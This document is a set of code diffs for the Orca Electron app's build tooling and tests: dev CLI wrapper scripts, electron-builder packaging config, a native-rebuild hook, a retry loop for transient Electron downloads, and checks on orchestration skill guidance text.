expect(wrapper).toContain('set "ORCA_DEV_CLI_INVOCATION=1"')
|
||||
expect(wrapper).toContain(`node "${path.join(root, 'out', 'cli', 'index.js')}" %*`)
|
||||
expect(readFileSync(path.join(userDataPath, 'cli', 'bin', 'orca.cmd'), 'utf8')).toBe(wrapper)
|
||||
expect(readFileSync(path.join(root, 'out', 'bin', 'orca-dev.cmd'), 'utf8')).toBe(wrapper)
|
||||
expect(readFileSync(path.join(root, 'out', 'bin', 'orca.cmd'), 'utf8')).toBe(wrapper)
|
||||
})
|
||||
|
||||
it('escapes literal percent signs in every Windows batch path', () => {
|
||||
const root = path.join(mkdtempSync(path.join(tmpdir(), 'orca-dev-terminal-wrapper-')), '%repo%')
|
||||
const userDataPath = path.join(root, '%profile%')
|
||||
const electronExecutable = path.join(root, '%electron%', 'electron.exe')
|
||||
prepareDevCliTerminalWrappers({
|
||||
repoRoot: root,
|
||||
userDataPath,
|
||||
electronExecutable,
|
||||
platform: 'win32'
|
||||
})
|
||||
|
||||
const wrapper = readFileSync(path.join(userDataPath, 'cli', 'bin', 'orca-dev.cmd'), 'utf8')
|
||||
expect(wrapper).toContain(`set "ORCA_USER_DATA_PATH=${userDataPath.replaceAll('%', '%%')}"`)
|
||||
expect(wrapper).toContain(
|
||||
`set "ORCA_APP_EXECUTABLE=${electronExecutable.replaceAll('%', '%%')}"`
|
||||
)
|
||||
expect(wrapper).toContain(
|
||||
`node "${path.join(root, 'out', 'cli', 'index.js').replaceAll('%', '%%')}" %*`
|
||||
)
|
||||
expect(readFileSync(path.join(root, 'out', 'bin', 'orca-dev.cmd'), 'utf8')).toBe(wrapper)
|
||||
expect(readFileSync(path.join(root, 'out', 'bin', 'orca.cmd'), 'utf8')).toBe(wrapper)
|
||||
})
|
||||
|
||||
it('writes executable-style POSIX wrappers with the same profile identity', () => {
|
||||
const root = mkdtempSync(path.join(tmpdir(), 'orca-dev-terminal-wrapper-'))
|
||||
const userDataPath = path.join(root, 'profile')
|
||||
prepareDevCliTerminalWrappers({
|
||||
repoRoot: root,
|
||||
userDataPath,
|
||||
electronExecutable: path.join(root, 'electron'),
|
||||
platform: 'linux'
|
||||
})
|
||||
|
||||
const wrapper = readFileSync(path.join(userDataPath, 'cli', 'bin', 'orca-dev'), 'utf8')
|
||||
expect(wrapper).toContain(`export ORCA_USER_DATA_PATH=${JSON.stringify(userDataPath)}`)
|
||||
expect(wrapper).toContain('export ORCA_DEV_CLI_INVOCATION=1')
|
||||
expect(wrapper).toContain(
|
||||
`exec node ${JSON.stringify(path.join(root, 'out', 'cli', 'index.js'))}`
|
||||
)
|
||||
expect(readFileSync(path.join(userDataPath, 'cli', 'bin', 'orca'), 'utf8')).toBe(wrapper)
|
||||
expect(readFileSync(path.join(root, 'out', 'bin', 'orca-dev'), 'utf8')).toBe(wrapper)
|
||||
expect(readFileSync(path.join(root, 'out', 'bin', 'orca'), 'utf8')).toBe(wrapper)
|
||||
})
|
||||
})
|
||||
@@ -1,4 +1,4 @@
|
||||
import { mkdir, mkdtemp, readFile, readdir, rm, stat, writeFile } from 'node:fs/promises'
|
||||
import { cp, mkdir, mkdtemp, readFile, readdir, rm, stat, writeFile } from 'node:fs/promises'
|
||||
import { createRequire } from 'node:module'
|
||||
import { tmpdir } from 'node:os'
|
||||
import { join } from 'node:path'
|
||||
@@ -41,17 +41,25 @@ describe('electron-builder config', () => {
|
||||
'!pr-evidence{,/**/*}',
|
||||
'!Casks{,/**/*}',
|
||||
'!{AGENTS.md,CLAUDE.md,DEVELOPING.md,bundle-size-progress.md}',
|
||||
'!out/**/*.test.js'
|
||||
'!out/**/*.test.js',
|
||||
'!resources/plugins/launch/**'
|
||||
])
|
||||
)
|
||||
})
|
||||
|
||||
it('keeps runtime resources available through extraResources', () => {
|
||||
const bundledPluginResources = expect.objectContaining({
|
||||
from: 'resources/plugins/launch',
|
||||
to: 'plugins/launch'
|
||||
})
|
||||
for (const platform of ['mac', 'linux', 'win']) {
|
||||
expect(electronBuilderConfig[platform].extraResources).toContainEqual({
|
||||
from: 'resources/skills',
|
||||
to: 'skills'
|
||||
})
|
||||
expect(electronBuilderConfig[platform].extraResources).toEqual(
|
||||
expect.arrayContaining([bundledPluginResources])
|
||||
)
|
||||
}
|
||||
expect(electronBuilderConfig.mac.extraResources).toEqual(
|
||||
expect.arrayContaining([
|
||||
@@ -174,13 +182,20 @@ describe('electron-builder config', () => {
|
||||
it('overrides packaged semver only for local macOS builds', () => {
|
||||
const configPath = require.resolve('../electron-builder.config.cjs')
|
||||
const original = process.env.ORCA_LOCAL_BUILD_VERSION
|
||||
const originalMacRelease = process.env.ORCA_MAC_RELEASE
|
||||
try {
|
||||
delete require.cache[configPath]
|
||||
delete process.env.ORCA_MAC_RELEASE
|
||||
process.env.ORCA_LOCAL_BUILD_VERSION = '1.4.159-rc.0.local.123.abc'
|
||||
expect(require('../electron-builder.config.cjs').extraMetadata).toEqual({
|
||||
version: '1.4.159-rc.0.local.123.abc'
|
||||
})
|
||||
} finally {
|
||||
if (originalMacRelease === undefined) {
|
||||
delete process.env.ORCA_MAC_RELEASE
|
||||
} else {
|
||||
process.env.ORCA_MAC_RELEASE = originalMacRelease
|
||||
}
|
||||
if (original === undefined) {
|
||||
delete process.env.ORCA_LOCAL_BUILD_VERSION
|
||||
} else {
|
||||
@@ -437,6 +452,11 @@ describe('electron-builder config', () => {
|
||||
const resourcesDir = join(root, 'linux-unpacked', 'resources')
|
||||
const launcherPath = join(resourcesDir, 'bin', 'orca-ide')
|
||||
await mkdir(join(resourcesDir, 'bin'), { recursive: true })
|
||||
await cp(
|
||||
join(process.cwd(), 'resources', 'plugins', 'launch'),
|
||||
join(resourcesDir, 'plugins', 'launch'),
|
||||
{ recursive: true }
|
||||
)
|
||||
await mkdir(join(resourcesDir, 'node_modules', 'zod', 'src'), { recursive: true })
|
||||
// Why: afterPack now fails hard when the unpacked daemon entry is
|
||||
// missing, so the fixture must carry one like a real package layout.
|
||||
|
||||
@@ -7,8 +7,8 @@ function electronBuilderNativeRebuild(context) {
|
||||
return runElectronBuilderNativeRebuild(context)
|
||||
}
|
||||
|
||||
function runElectronBuilderNativeRebuild(context, runner = execFileSync) {
|
||||
const args = buildNativeRebuildArgs(context)
|
||||
function runElectronBuilderNativeRebuild(context, runner = execFileSync, runtime = {}) {
|
||||
const args = buildNativeRebuildArgs(context, runtime)
|
||||
if (readPlatformName(context?.platform) === 'win32') {
|
||||
runner(process.execPath, ['config/scripts/build-windows-cli-launcher.mjs'], {
|
||||
cwd: projectDir,
|
||||
@@ -25,15 +25,22 @@ function runElectronBuilderNativeRebuild(context, runner = execFileSync) {
|
||||
return false
|
||||
}
|
||||
|
||||
function buildNativeRebuildArgs(context) {
|
||||
function buildNativeRebuildArgs(
|
||||
context,
|
||||
{ environment = process.env, hostPlatform = process.platform, hostArch = process.arch } = {}
|
||||
) {
|
||||
const platform = readPlatformName(context?.platform)
|
||||
const arch = readArchName(context?.arch)
|
||||
const canReusePreparedRuntime =
|
||||
environment.ORCA_REUSE_PREPARED_NATIVE_RUNTIME === '1' &&
|
||||
platform === hostPlatform &&
|
||||
arch === hostArch
|
||||
|
||||
return [
|
||||
'config/scripts/rebuild-native-deps.mjs',
|
||||
`--platform=${platform}`,
|
||||
`--arch=${arch}`,
|
||||
'--force'
|
||||
...(canReusePreparedRuntime ? [] : ['--force'])
|
||||
]
|
||||
}
|
||||
|
||||
|
||||
@@ -42,6 +42,33 @@ describe('electron-builder native rebuild hook', () => {
|
||||
])
|
||||
})
|
||||
|
||||
it('reuses a prepared native runtime only for the host target', () => {
|
||||
const runtime = {
|
||||
environment: { ORCA_REUSE_PREPARED_NATIVE_RUNTIME: '1' },
|
||||
hostPlatform: 'linux',
|
||||
hostArch: 'x64'
|
||||
}
|
||||
|
||||
expect(
|
||||
buildNativeRebuildArgs(
|
||||
{
|
||||
platform: { nodeName: 'linux' },
|
||||
arch: 'x64'
|
||||
},
|
||||
runtime
|
||||
)
|
||||
).toEqual(['config/scripts/rebuild-native-deps.mjs', '--platform=linux', '--arch=x64'])
|
||||
expect(
|
||||
buildNativeRebuildArgs(
|
||||
{
|
||||
platform: { nodeName: 'linux' },
|
||||
arch: 'arm64'
|
||||
},
|
||||
runtime
|
||||
)
|
||||
).toContain('--force')
|
||||
})
|
||||
|
||||
it('builds the native CLI launcher before packaging Windows resources', () => {
|
||||
const calls = []
|
||||
const result = runElectronBuilderNativeRebuild(
|
||||
|
||||
@@ -0,0 +1,42 @@
|
||||
import { readFileSync } from 'node:fs'
|
||||
import { describe, expect, it } from 'vitest'
|
||||
import { electronViteConfig } from '../../electron.vite.config'
|
||||
|
||||
const targetConfig = readFileSync('config/electron-vite-target.config.ts', 'utf8')
|
||||
|
||||
describe('Electron Vite output contract', () => {
|
||||
it('keeps main-process and plain-Node entries at stable CommonJS paths', () => {
|
||||
const output = electronViteConfig.main?.build?.rollupOptions?.output
|
||||
if (!output || Array.isArray(output)) {
|
||||
throw new Error('Expected one main-process output')
|
||||
}
|
||||
|
||||
expect(output.format).toBe('cjs')
|
||||
expect(output.entryFileNames).toBe('[name].js')
|
||||
expect(output.chunkFileNames).toBe('chunks/[name]-[hash].js')
|
||||
})
|
||||
|
||||
it('externalizes packaged dependencies but bundles the daemon xterm graph', () => {
|
||||
const external = electronViteConfig.main?.build?.rollupOptions?.external
|
||||
if (typeof external !== 'function') {
|
||||
throw new Error('Expected main-process external predicate')
|
||||
}
|
||||
|
||||
expect(external('node-pty', undefined, false)).toBe(true)
|
||||
expect(external('@parcel/watcher', undefined, false)).toBe(true)
|
||||
expect(external('electron', undefined, false)).toBe(true)
|
||||
expect(external('node:fs', undefined, false)).toBe(true)
|
||||
expect(external('@xterm/headless', undefined, false)).toBe(false)
|
||||
expect(external('@xterm/addon-serialize', undefined, false)).toBe(false)
|
||||
})
|
||||
|
||||
it('isolates renderer entry side effects behind strict facades', () => {
|
||||
expect(electronViteConfig.renderer?.build?.rollupOptions?.preserveEntrySignatures).toBe(
|
||||
'strict'
|
||||
)
|
||||
})
|
||||
|
||||
it('rejects prototype properties as build targets', () => {
|
||||
expect(targetConfig).toContain('Object.prototype.hasOwnProperty.call(configByTarget, target)')
|
||||
})
|
||||
})
|
||||
@@ -5,7 +5,7 @@ import { describe, expect, it } from 'vitest'
|
||||
describe('Git binary compatibility PR gate', () => {
|
||||
it('runs the real-binary contract at each compatibility boundary', () => {
|
||||
const workflow = parse(readFileSync('.github/workflows/pr.yml', 'utf8'))
|
||||
const step = workflow.jobs.verify.steps.find(
|
||||
const step = workflow.jobs.git_compatibility.steps.find(
|
||||
(candidate) => candidate.name === 'Verify Git binary compatibility matrix'
|
||||
)
|
||||
|
||||
@@ -16,5 +16,8 @@ describe('Git binary compatibility PR gate', () => {
|
||||
expect(step?.run).toContain('alpine/git:v2.49.1|2.49.1')
|
||||
expect(step?.run).toContain('ORCA_GIT_COMPAT_IMAGE="$image"')
|
||||
expect(step?.run).toContain('src/shared/git-binary-compatibility.test.ts')
|
||||
expect(step?.run).toContain('-j"$(nproc)"')
|
||||
expect(step?.run).toContain('pids+=("$!")')
|
||||
expect(step?.run).toContain('wait "$pid" || status=1')
|
||||
})
|
||||
})
|
||||
|
||||
@@ -24,6 +24,20 @@ const { downloadArtifact } = electronRequire('@electron/get')
|
||||
const targetPlatform = getElectronTargetPlatform()
|
||||
const targetArch = getElectronTargetArch()
|
||||
const platformPath = getElectronPlatformPath(targetPlatform)
|
||||
const transientDownloadErrorCodes = new Set([
|
||||
'EAI_AGAIN',
|
||||
'ECONNREFUSED',
|
||||
'ECONNRESET',
|
||||
'ENETDOWN',
|
||||
'ENETRESET',
|
||||
'ENETUNREACH',
|
||||
'ENOTFOUND',
|
||||
'EPIPE',
|
||||
'ETIMEDOUT',
|
||||
'UND_ERR_CONNECT_TIMEOUT',
|
||||
'UND_ERR_HEADERS_TIMEOUT',
|
||||
'UND_ERR_SOCKET'
|
||||
])
|
||||
|
||||
try {
|
||||
// Why: Electron's own install.js can exit 0 while an async extract promise is
|
||||
@@ -111,7 +125,7 @@ async function installElectronPackageBinary() {
|
||||
const extractDir = join(tempDir, 'extract')
|
||||
|
||||
try {
|
||||
const zipPath = await downloadArtifact({
|
||||
const downloadOptions = {
|
||||
version: electronVersion,
|
||||
artifactName: 'electron',
|
||||
platform: targetPlatform,
|
||||
@@ -120,7 +134,8 @@ async function installElectronPackageBinary() {
|
||||
force: true,
|
||||
tempDirectory: tempDir,
|
||||
...(shouldUseRemoteChecksums() ? {} : { checksums: electronRequire('./checksums.json') })
|
||||
})
|
||||
}
|
||||
const zipPath = await downloadElectronArtifactWithRetry(downloadOptions)
|
||||
|
||||
// Why: CI has observed partial extracts directly under node_modules/electron
|
||||
// that leave only dist/locales. Verify in temp before replacing package dist.
|
||||
@@ -145,6 +160,82 @@ async function installElectronPackageBinary() {
|
||||
}
|
||||
}
|
||||
|
||||
async function downloadElectronArtifactWithRetry(downloadOptions) {
|
||||
const retryDelays = getDownloadRetryDelays()
|
||||
|
||||
for (let attempt = 0; ; attempt += 1) {
|
||||
try {
|
||||
return await downloadArtifact(downloadOptions)
|
||||
} catch (error) {
|
||||
const retryDelay = retryDelays[attempt]
|
||||
if (retryDelay === undefined || !isTransientDownloadError(error)) {
|
||||
throw error
|
||||
}
|
||||
|
||||
console.warn(
|
||||
`[electron-package] Transient Electron download failure (${formatDownloadError(error)}); ` +
|
||||
`retrying in ${retryDelay}ms (${attempt + 2}/${retryDelays.length + 1}).`
|
||||
)
|
||||
rmSync(downloadOptions.cacheRoot, { recursive: true, force: true })
|
||||
await new Promise((resolveDelay) => setTimeout(resolveDelay, retryDelay))
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
function getDownloadRetryDelays() {
|
||||
const configured = process.env.ORCA_ELECTRON_PACKAGE_RETRY_DELAYS_MS
|
||||
if (!configured) {
|
||||
return [1_000, 3_000]
|
||||
}
|
||||
|
||||
const delays = configured.split(',').map(Number)
|
||||
if (delays.some((delay) => !Number.isSafeInteger(delay) || delay < 0)) {
|
||||
throw new Error('ORCA_ELECTRON_PACKAGE_RETRY_DELAYS_MS must contain non-negative integers')
|
||||
}
|
||||
return delays
|
||||
}
|
||||
|
||||
function isTransientDownloadError(error) {
|
||||
for (const candidate of getErrorChain(error)) {
|
||||
if (transientDownloadErrorCodes.has(candidate?.code)) {
|
||||
return true
|
||||
}
|
||||
const statusCode = candidate?.statusCode ?? candidate?.response?.statusCode
|
||||
if (
|
||||
statusCode === 408 ||
|
||||
statusCode === 425 ||
|
||||
statusCode === 429 ||
|
||||
(statusCode >= 500 && statusCode < 600)
|
||||
) {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
function getErrorChain(error) {
|
||||
const errors = []
|
||||
let candidate = error
|
||||
while (candidate && errors.length < 5) {
|
||||
errors.push(candidate)
|
||||
candidate = candidate.cause
|
||||
}
|
||||
return errors
|
||||
}
|
||||
|
||||
function formatDownloadError(error) {
|
||||
for (const candidate of getErrorChain(error)) {
|
||||
const statusCode = candidate?.statusCode ?? candidate?.response?.statusCode
|
||||
if (statusCode) {
|
||||
return `HTTP ${statusCode}`
|
||||
}
|
||||
if (candidate?.code) {
|
||||
return candidate.code
|
||||
}
|
||||
}
|
||||
return error instanceof Error ? error.message : String(error)
|
||||
}
|
||||
|
||||
function extractElectronArchive(zipPath, extractDir) {
|
||||
mkdirSync(extractDir, { recursive: true })
|
||||
// Why: extract-zip/Electron install.js can leave Node 24 with an unsettled
|
||||
|
||||
@@ -93,6 +93,102 @@ describe('install-electron-package-binary', () => {
|
||||
}
|
||||
})
|
||||
|
||||
it('retries transient Electron download failures', () => {
|
||||
const projectDir = mkTempProject()
|
||||
|
||||
try {
|
||||
writeFakeElectronPackage(projectDir)
|
||||
writeFakeElectronGet(projectDir, {
|
||||
downloadFailures: 1,
|
||||
downloadErrorCode: 'ECONNRESET'
|
||||
})
|
||||
writeFakeExtractor(projectDir, { createExecutable: true })
|
||||
|
||||
const result = runInstallScript(projectDir, {
|
||||
ORCA_ELECTRON_PACKAGE_RETRY_DELAYS_MS: '0,0'
|
||||
})
|
||||
|
||||
expect(result.status, result.stderr).toBe(0)
|
||||
expect(
|
||||
readFileSync(join(projectDir, 'electron-get.log'), 'utf8').trim().split('\n')
|
||||
).toHaveLength(2)
|
||||
expect(result.stderr).toContain('Transient Electron download failure (ECONNRESET)')
|
||||
} finally {
|
||||
rmSync(projectDir, { recursive: true, force: true })
|
||||
}
|
||||
})
|
||||
|
||||
it('fails after exhausting transient Electron download retries', () => {
|
||||
const projectDir = mkTempProject()
|
||||
|
||||
try {
|
||||
writeFakeElectronPackage(projectDir)
|
||||
writeFakeElectronGet(projectDir, {
|
||||
downloadFailures: 5,
|
||||
downloadErrorCode: 'ECONNRESET'
|
||||
})
|
||||
writeFakeExtractor(projectDir, { createExecutable: true })
|
||||
|
||||
const result = runInstallScript(projectDir, {
|
||||
ORCA_ELECTRON_PACKAGE_RETRY_DELAYS_MS: '0,0'
|
||||
})
|
||||
|
||||
expect(result.status).toBe(1)
|
||||
expect(
|
||||
readFileSync(join(projectDir, 'electron-get.log'), 'utf8').trim().split('\n')
|
||||
).toHaveLength(3)
|
||||
} finally {
|
||||
rmSync(projectDir, { recursive: true, force: true })
|
||||
}
|
||||
})
|
||||
|
||||
it('rejects invalid Electron download retry delays before downloading', () => {
|
||||
const projectDir = mkTempProject()
|
||||
|
||||
try {
|
||||
writeFakeElectronPackage(projectDir)
|
||||
writeFakeElectronGet(projectDir)
|
||||
writeFakeExtractor(projectDir, { createExecutable: true })
|
||||
|
||||
const result = runInstallScript(projectDir, {
|
||||
ORCA_ELECTRON_PACKAGE_RETRY_DELAYS_MS: '0,nope'
|
||||
})
|
||||
|
||||
expect(result.status).toBe(1)
|
||||
expect(result.stderr).toContain(
|
||||
'ORCA_ELECTRON_PACKAGE_RETRY_DELAYS_MS must contain non-negative integers'
|
||||
)
|
||||
expect(existsSync(join(projectDir, 'electron-get.log'))).toBe(false)
|
||||
} finally {
|
||||
rmSync(projectDir, { recursive: true, force: true })
|
||||
}
|
||||
})
|
||||
|
||||
it('does not retry permanent Electron download failures', () => {
|
||||
const projectDir = mkTempProject()
|
||||
|
||||
try {
|
||||
writeFakeElectronPackage(projectDir)
|
||||
writeFakeElectronGet(projectDir, {
|
||||
downloadFailures: 3,
|
||||
downloadErrorCode: 'EACCES'
|
||||
})
|
||||
writeFakeExtractor(projectDir, { createExecutable: true })
|
||||
|
||||
const result = runInstallScript(projectDir, {
|
||||
ORCA_ELECTRON_PACKAGE_RETRY_DELAYS_MS: '0,0'
|
||||
})
|
||||
|
||||
expect(result.status).toBe(1)
|
||||
expect(
|
||||
readFileSync(join(projectDir, 'electron-get.log'), 'utf8').trim().split('\n')
|
||||
).toHaveLength(1)
|
||||
expect(result.stderr).not.toContain('Transient Electron download failure')
|
||||
} finally {
|
||||
rmSync(projectDir, { recursive: true, force: true })
|
||||
}
|
||||
})
|
||||
|
||||
it('fails instead of silently accepting a partial Electron extract', () => {
|
||||
const projectDir = mkTempProject()
|
||||
|
||||
@@ -181,7 +277,10 @@ module.exports = path.join(__dirname, 'dist', fs.readFileSync(pathFile, 'utf8'))
|
||||
)
|
||||
}
|
||||
|
||||
function writeFakeElectronGet(projectDir, { downloadNeverSettles = false } = {}) {
|
||||
function writeFakeElectronGet(
|
||||
projectDir,
|
||||
{ downloadNeverSettles = false, downloadFailures = 0, downloadErrorCode = 'ECONNRESET' } = {}
|
||||
) {
|
||||
const getDir = join(projectDir, 'node_modules', 'electron', 'node_modules', '@electron', 'get')
|
||||
mkdirSync(getDir, { recursive: true })
|
||||
writeFileSync(
|
||||
@@ -189,7 +288,9 @@ function writeFakeElectronGet(projectDir, { downloadNeverSettles = false } = {})
|
||||
`
|
||||
const { mkdirSync, writeFileSync, appendFileSync } = require('node:fs')
|
||||
const { join } = require('node:path')
|
||||
let downloadAttempt = 0
|
||||
exports.downloadArtifact = async function downloadArtifact(details) {
|
||||
downloadAttempt += 1
|
||||
appendFileSync(
|
||||
'electron-get.log',
|
||||
'cacheRoot=' + details.cacheRoot + ' platform=' + details.platform + ' arch=' + details.arch + '\\n'
|
||||
@@ -197,6 +298,12 @@ exports.downloadArtifact = async function downloadArtifact(details) {
|
||||
if (${JSON.stringify(downloadNeverSettles)}) {
|
||||
return new Promise(() => {})
|
||||
}
|
||||
if (downloadAttempt <= ${JSON.stringify(downloadFailures)}) {
|
||||
const cause = Object.assign(new Error('download failed'), {
|
||||
code: ${JSON.stringify(downloadErrorCode)}
|
||||
})
|
||||
throw Object.assign(new TypeError('fetch failed'), { cause })
|
||||
}
|
||||
mkdirSync(details.cacheRoot, { recursive: true })
|
||||
const artifactPath = join(details.cacheRoot, 'electron.zip')
|
||||
writeFileSync(artifactPath, 'fake zip')
|
||||
|
||||
@@ -25,6 +25,7 @@ describe('orca-dev package bin', () => {
|
||||
`fs.writeFileSync(${JSON.stringify(outputPath)}, JSON.stringify({`,
|
||||
' argv: process.argv.slice(2),',
|
||||
' userDataPath: process.env.ORCA_USER_DATA_PATH,',
|
||||
' devCliInvocation: process.env.ORCA_DEV_CLI_INVOCATION,',
|
||||
' appExecutable: process.env.ORCA_APP_EXECUTABLE',
|
||||
'}));'
|
||||
].join('\n'),
|
||||
@@ -47,6 +48,7 @@ describe('orca-dev package bin', () => {
|
||||
expect(JSON.parse(readFileSync(outputPath, 'utf8'))).toEqual({
|
||||
argv: ['--help'],
|
||||
userDataPath: path.join(root, 'user-data'),
|
||||
devCliInvocation: '1',
|
||||
appExecutable: path.join(root, 'Electron')
|
||||
})
|
||||
})
|
||||
|
||||
@@ -3,6 +3,7 @@
|
||||
import { spawnSync } from 'node:child_process'
|
||||
import { accessSync, constants, existsSync, realpathSync, statSync } from 'node:fs'
|
||||
import path from 'node:path'
|
||||
import { prepareDevCliTerminalWrappers } from './dev-cli-terminal-wrapper.mjs'
|
||||
|
||||
const scriptPath = realpathSync(import.meta.filename)
|
||||
const scriptDir = path.dirname(scriptPath)
|
||||
@@ -16,6 +17,8 @@ if (!existsSync(cliEntry)) {
|
||||
}
|
||||
|
||||
process.env.ORCA_USER_DATA_PATH = process.env.ORCA_DEV_USER_DATA_PATH ?? getDefaultDevUserDataPath()
|
||||
// Why: custom dev profiles do not necessarily contain "orca-dev" in their path; carry explicit provenance into the CLI.
|
||||
process.env.ORCA_DEV_CLI_INVOCATION = '1'
|
||||
|
||||
const electronExecutable = getElectronExecutable()
|
||||
if (!process.env.ORCA_APP_EXECUTABLE && isRunnableFile(electronExecutable)) {
|
||||
@@ -23,6 +26,13 @@ if (!process.env.ORCA_APP_EXECUTABLE && isRunnableFile(electronExecutable)) {
|
||||
process.env.ORCA_APP_EXECUTABLE_NEEDS_APP_ROOT = '1'
|
||||
}
|
||||
|
||||
// Why: headless `orca-dev serve` skips the Electron dev runner that normally installs terminal CLI shims.
|
||||
prepareDevCliTerminalWrappers({
|
||||
repoRoot,
|
||||
userDataPath: process.env.ORCA_USER_DATA_PATH,
|
||||
electronExecutable: process.env.ORCA_APP_EXECUTABLE ?? electronExecutable
|
||||
})
|
||||
|
||||
const result = spawnSync(process.execPath, [cliEntry, ...process.argv.slice(2)], {
|
||||
stdio: 'inherit',
|
||||
env: process.env
|
||||
|
||||
@@ -29,10 +29,14 @@ describe('orchestration skill guidance', () => {
|
||||
const skill = readSkill()
|
||||
const toolBoundary = getSection(skill, 'Tool Boundary')
|
||||
|
||||
expect(toolBoundary).toContain(
|
||||
'must create Orca runtime state with `orca orchestration task-create` and `orca orchestration dispatch --inject`'
|
||||
expect(toolBoundary).toContain('must create or bind a Run')
|
||||
expect(toolBoundary).toContain('create the Task with `orca orchestration task-create`')
|
||||
expect(toolBoundary).toContain('preferred `orca orchestration worker-start` composition')
|
||||
expect(toolBoundary).toContain('low-level `orca orchestration dispatch --inject` path')
|
||||
expect(toolBoundary).not.toContain('or `orca orchestration run`')
|
||||
expect(skill).toContain(
|
||||
'`coordinator-start`, `coordinator-stop`, `run`, and `run-stop` are retired scheduler commands'
|
||||
)
|
||||
expect(toolBoundary).toContain('or `orca orchestration run`')
|
||||
expect(toolBoundary).toContain(
|
||||
'Do not substitute non-Orca subagent tools, generic agent-spawn APIs, or chat-only parallel worker features'
|
||||
)
|
||||
@@ -47,6 +51,20 @@ describe('orchestration skill guidance', () => {
|
||||
)
|
||||
})
|
||||
|
||||
it('teaches the hard cutover without reviving a legacy executor', () => {
|
||||
const skill = readSkill()
|
||||
const migration = getSection(skill, 'Contract Migration')
|
||||
|
||||
expect(migration).toContain('hard cutover')
|
||||
expect(migration).toContain('effectsApplied')
|
||||
expect(migration).toContain('skills get orchestration --full')
|
||||
expect(migration).toContain('Do not retry the rejected command unchanged')
|
||||
expect(migration).toContain('no longer supervised')
|
||||
expect(migration).toContain('task-list --run run_legacy_local')
|
||||
expect(migration).toContain('Read-only inspection never consumes legacy mail')
|
||||
expect(migration).toContain('does not run a legacy scheduler, translate old writes, or drain')
|
||||
})
|
||||
|
||||
it('treats long-running worker waits as liveness checkpoints, not failures', () => {
|
||||
const skill = readSkill()
|
||||
|
||||
@@ -213,13 +231,13 @@ describe('orchestration skill guidance', () => {
|
||||
const messaging = getSection(skill, 'Messaging')
|
||||
const workerTerminals = getSection(skill, 'Worker Terminals')
|
||||
const agentFirstExample = workerTerminals.match(
|
||||
/```bash\norca worktree create --name <task-name> --agent codex --json\n[\s\S]*?```/
|
||||
/```bash\norca worktree create --name <task-name> --agent codex --setup run --json\n[\s\S]*?```/
|
||||
)?.[0]
|
||||
|
||||
expect(workerTerminals).toContain('For an allowed new worktree, use agent-first:')
|
||||
expect(workerTerminals).toContain('fallback shell + agent pair')
|
||||
expect(workerTerminals).toContain(
|
||||
'Repo setup or default-terminal settings may still add tabs or splits'
|
||||
'repo setup and default-terminal settings may add intentional tabs or splits'
|
||||
)
|
||||
expect(workerTerminals).toContain('without configured default tabs')
|
||||
expect(workerTerminals).toContain(
|
||||
@@ -229,12 +247,11 @@ describe('orchestration skill guidance', () => {
|
||||
expect(workerTerminals).not.toContain('ends with **one** agent tab')
|
||||
expect(agentFirstExample).toBeDefined()
|
||||
expect(agentFirstExample).not.toContain('orca terminal list')
|
||||
expect(agentFirstExample).toContain('agentTerminalHandle')
|
||||
expect(agentFirstExample).toContain('startupTerminal.handle')
|
||||
expect(messaging).toContain(
|
||||
'Use `startupTerminal.handle` from the create response when present'
|
||||
)
|
||||
expect(messaging).toContain('continue with the replacement only')
|
||||
expect(messaging).toContain('it does not remotely wake another terminal')
|
||||
expect(messaging).toContain('Prefer `agentTerminalHandle` from the create response')
|
||||
expect(messaging).toContain('Continue with the replacement handle only')
|
||||
expect(messaging).toContain('never writes to terminal input or remotely wakes another terminal')
|
||||
expect(messaging).toContain('Use `orchestration dispatch --inject` to deliver a tracked task')
|
||||
})
|
||||
})
|
||||
|
||||
@@ -527,7 +527,7 @@ describe('Electron runtime package contract', () => {
|
||||
it('installs the Electron package binary in PR checks without changing native module ABI', () => {
|
||||
const prWorkflow = readFileSync(join(projectDir, '.github/workflows/pr.yml'), 'utf8')
|
||||
const parsedWorkflow = parse(prWorkflow)
|
||||
const installStep = parsedWorkflow.jobs.verify.steps.find(
|
||||
const installStep = parsedWorkflow.jobs.test.steps.find(
|
||||
(step) => step.name === 'Install Electron package binary for tests'
|
||||
)
|
||||
|
||||
@@ -537,7 +537,7 @@ describe('Electron runtime package contract', () => {
|
||||
it('smokes the packaged CLI from outside the checkout in PR checks', () => {
|
||||
const prWorkflow = readFileSync(join(projectDir, '.github/workflows/pr.yml'), 'utf8')
|
||||
const parsedWorkflow = parse(prWorkflow)
|
||||
const smokeStep = parsedWorkflow.jobs.verify.steps.find(
|
||||
const smokeStep = parsedWorkflow.jobs.package.steps.find(
|
||||
(step) => step.name === 'Smoke packaged CLI'
|
||||
)
|
||||
|
||||
|
||||
@@ -0,0 +1,87 @@
|
||||
import { mkdtempSync, rmSync, writeFileSync } from 'node:fs'
|
||||
import { tmpdir } from 'node:os'
|
||||
import { join } from 'node:path'
|
||||
import type { Plugin, Rollup } from 'vite'
|
||||
import { afterEach, describe, expect, it } from 'vitest'
|
||||
import { createPlainNodeEntryGuardPlugin } from '../../build-plugins/plain-node-entry-guard'
|
||||
|
||||
let outputDir: string | undefined
|
||||
|
||||
afterEach(() => {
|
||||
if (outputDir) {
|
||||
rmSync(outputDir, { recursive: true, force: true })
|
||||
outputDir = undefined
|
||||
}
|
||||
})
|
||||
|
||||
function createOutputDir(): string {
|
||||
outputDir = mkdtempSync(join(tmpdir(), 'orca-plain-node-entry-guard-'))
|
||||
return outputDir
|
||||
}
|
||||
|
||||
function createBundle(code = ''): Rollup.OutputBundle {
|
||||
return {
|
||||
'daemon-entry.js': {
|
||||
type: 'chunk',
|
||||
code,
|
||||
dynamicImports: [],
|
||||
fileName: 'daemon-entry.js',
|
||||
imports: [],
|
||||
isEntry: true,
|
||||
name: 'daemon-entry'
|
||||
} as Rollup.OutputChunk
|
||||
}
|
||||
}
|
||||
|
||||
function runWriteBundle(plugin: Plugin, dir: string, code = ''): void {
|
||||
const hook = plugin.writeBundle
|
||||
if (typeof hook !== 'function') {
|
||||
throw new Error('Expected writeBundle hook')
|
||||
}
|
||||
hook.call(
|
||||
{ meta: { watchMode: false } } as never,
|
||||
{ dir } as Rollup.NormalizedOutputOptions,
|
||||
createBundle(code)
|
||||
)
|
||||
}
|
||||
|
||||
function runCloseBundle(plugin: Plugin): void {
|
||||
const hook = plugin.closeBundle
|
||||
if (typeof hook !== 'function') {
|
||||
throw new Error('Expected closeBundle hook')
|
||||
}
